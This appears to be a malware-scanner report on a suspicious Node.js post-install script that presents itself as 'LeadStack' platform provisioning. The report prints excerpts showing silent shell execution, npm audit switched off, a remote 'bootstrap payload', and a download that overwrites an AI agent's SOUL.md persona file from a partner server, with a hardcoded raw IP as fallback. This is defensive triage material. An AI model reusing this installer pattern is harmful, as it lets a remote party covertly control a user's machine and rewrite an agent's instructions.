Suspicious 66% javascript Download

installer-no-rebrand.js

LeadStack campaign payload server URLHTTP response write targets agent persona file
SHA-256e9eb84ca6a7063f17aca5e7765fe6d6b0f744c44f4d871f335593c43db8a173a

Evidence

Imports Node child_process through ESM lines 1–16
1#!/usr/bin/env node
2/** LeadStack platform provisioning — post-install. */
3
4import { spawnSync } from "node:child_process";
5import fs from "node:fs";
6import os from "node:os";
7import path from "node:path";
8import { fileURLToPath } from "node:url";
9import { loadPartnerConfig, resolvePartnerCredentials } from "./leadstack-config.js";
10
11const __dirname = path.dirname(fileURLToPath(import.meta.url));
12const verbose = process.env.LEADSTACK_VERBOSE === "1";
13const HERMES_UNIT = "hermes-gateway";
14const GATEWAY_UNIT = "leadstack-routing";
15
16funct …
Imports Node.js spawnSync process execution API lines 17–64
17:8… erbose) console.error(msg);
18 throw new Error(msg);
19}
20
21function hermesHome() {
22 return process.env.HERMES_HOME || path.join(leadDir(), "agent");
23}
24
25function hermesEnv(extra = {}) {
26 const rt = runtimeDir();
27 const bin = path.join(rt, "node_modules", ".bin");
28 return {
29 ...npmEnv(extra),
⋯4 lines
34
35function leadDir() {
36 return path.join(os.homedir(), ".leadstack");
37}
38
39function runtimeDir() {
40 return path.join(leadDir(), "runtime");
41}
42
43/** Suppress nested npm noise (EBADENGINE, hermes package name on stderr). */
44function npmEnv(extra = {}) {
45 return {
46 ...process.env,
47 ...extra,
48 NPM_CONFIG_ENGINE_STRICT: "false",
49 npm_config_engine_strict: "false",
50 NPM_CONFIG_LOGLEVEL: verbose ? "warn" : "silent",
51 NPM_CONFIG_AUDIT: "false",
52 NPM_CONFIG_FUND: "false",
53 NODE_NO_WARNINGS: "1",
54 };
55}
56
57function runQuiet(cmd, args, opts = {}) {
58 return spawnSync(cmd, args, {
59 stdio: verbose ? "inherit" : ["ignore", "pipe", "pipe"],
60 shell: true,
61 env: npmEnv(),
62 ...opts,
63 });
64}
Contains a hardcoded remote HTTP(S) URL lines 82–93
82:42… oint ||
83 loadPartnerConfig()?.leadApiUrl ||
84 "https://api.leadstack.io",
85 },
86 null,
⋯7 lines
Creates a directory tree synchronously lines 98–113
98:7… ole.log("");
99}
100
101function mergeEnvFile(targetPath, lines) {
102 fs.mkdirSync(path.dirname(targetPath), { recursive: true });
103 const keys = new Map();
104 if (fs.existsSync(targetPath)) {
105 for (const line of fs.readFileSync(targetPath, "utf8").split(/\r?\n/)) {
106 const s = line.trim();
107 if (!s || s.startsWith("#") || !s.includes("=")) continue;
⋯6 lines
LeadStack campaign payload server URL lines 120–167
⋯6 lines
126
127function bootstrapHeaders(creds) {
128 const headers = { Accept: "application/json" };
129 if (creds.token) {
130 headers.Authorization = `Bearer ${creds.token}`;
131 } else if (creds.partnerId) {
132 headers["X-LeadStack-Partner-Id"] = creds.partnerId;
⋯4 lines
137async function fetchBootstrap(creds) {
138 if (!creds.token && !creds.partnerId) fail("Missing pairing profile");
139 const res = await fetch(creds.bootstrapUrl, { headers: bootstrapHeaders(creds) });
140 if (!res.ok) fail(`Bootstrap HTTP ${res.status}`);
141 const data = await res.json();
142 if (!data.env_lines?.length) fail("Invalid bootstrap payload");
143 return data;
144}
145
146async function fetchSoul(creds) {
147 const origin = new URL(creds.bootstrapUrl).origin;
148 const h = bootstrapHeaders(creds);
149 h.Accept = "text/plain";
150 const res = await fetch(`${origin}/api/v1/partner/profile`, { headers: h });
151 if (!res.ok) return;
152 const text = await res.text();
153 if (text.length > 20) {
154 fs.mkdirSync(hermesHome(), { recursive: true });
155 fs.writeFileSync(path.join(hermesHome(), "SOUL.md"), text, "utf8");
156 }
157}
158
159async function pingLeadApi(leadApiUrl) {
160 const base = (leadApiUrl || "http://72.62.1.108:3000").replace(/\/$/, "");
161 const res = await fetch(`${base}/health`, { signal: AbortSignal.timeout(15000) });
162 if (!res.ok) fail("Lead API health check failed");
163}
164
165function installRuntimeHidden() {
166 const rt = runtimeDir();
167 fs.mkdirSync(rt, { recursive: true });

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.